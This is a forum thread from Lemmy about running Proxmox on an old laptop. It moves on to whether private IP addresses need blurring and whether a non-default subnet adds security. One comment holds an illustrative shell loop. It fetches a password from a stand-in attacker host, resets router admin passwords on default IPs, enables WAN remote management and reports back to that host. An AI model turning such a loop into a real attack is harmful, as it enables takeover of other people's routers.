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My 15-year old panasonic toughbook is hanging in there as a proxmox server (lemmy.world)
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A huge upshot to using a laptop is you have a built-in UPS and KVM.

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[–] possiblylinux127@lemmy.zip 13 points 1 week ago* (last edited 1 week ago) (2 children)

You don't need to blur the private address. No one here is on your private network.

[–] Darkenfolk@sh.itjust.works 18 points 1 week ago* (last edited 1 week ago) (1 children)

...is what They^tm^ wants you to believe.

Trust no one, always wear your tinfoil hat and don't take vaccines.

~this message was sponsored by the darwin awards committee and the illuminati~

[–] irmadlad@lemmy.world 2 points 1 week ago (1 children)

Trust no one, always wear your tinfoil hat and ~~don’t take vaccines~~.

I'd say 'Never Trust/Always Verify', however I wouldn't say that was tinfoil hat territory. More just common sense. As far as never getting vaccines, all one has to do is go to Reddit and look up the 'Herman Cain Award' subredit to read about people who didn't get vaccines because DumbFuck Donny told them there was nothing to worry about. We are almost to the point of a measles pandemic in the US now and COVID rages on in it's new form of Cicada.

[–] Darkenfolk@sh.itjust.works 2 points 1 week ago (1 children)

It's all about exaggerated escalation to make it clear that im joking.

_this message was sponsored by the darwin awards committee

And this part also carries some weight towards the joking part

[–] irmadlad@lemmy.world 3 points 1 week ago

Sorry, COVID is a sore spot for me. My lady friend was a nurse of 40 years who's career was cut short by it. She now has long COVID, and will for the rest of her life. Not because we thought COVID was bullshit, but because 70 million other dumfuck rednecks thought it was.

[–] MehBlah@lemmy.world 7 points 1 week ago (2 children)

If it isn't 192.168.1.0/24 then you should blur it. Mine is completely random and I keep it to myself.

[–] Landless2029@lemmy.world 1 points 1 week ago

10.0.0.0/24 master race!

[–] possiblylinux127@lemmy.zip 1 points 1 week ago (1 children)

Why?

[–] cravl@slrpnk.net 0 points 5 days ago (1 children)

Using a random non-default subnet increases security (slightly, and only through obscurity) by making it harder for a compromised device to perform automated attacks against, most often, your router. Typically they're pretty simple scripts that just try to hit default ports on default IPs.

[–] possiblylinux127@lemmy.zip 1 points 5 days ago* (last edited 5 days ago) (1 children)

That's not how networking works

If someone is on the inside of your network you have much bigger issues. Having a random subnet won't do anything as they can just look at the arp/ndp tables.

[–] cravl@slrpnk.net 0 points 4 days ago* (last edited 4 days ago) (1 children)

That's what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…

newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")"
for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do
    curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \
    curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \
    curl -q "https://bad.guy/success?addr=%24%7Ba%7D"
done

…completely pointless. If it's a someone inside your network, you need more.

[–] possiblylinux127@lemmy.zip 1 points 4 days ago (1 children)

Yeah I don't really understand your argument

[–] cravl@slrpnk.net 1 points 4 days ago

No worries. It is technically another layer in the "swiss cheese" model, but it certainly is more holes than cheese. I think it falls into the "can't hurt, might help" category.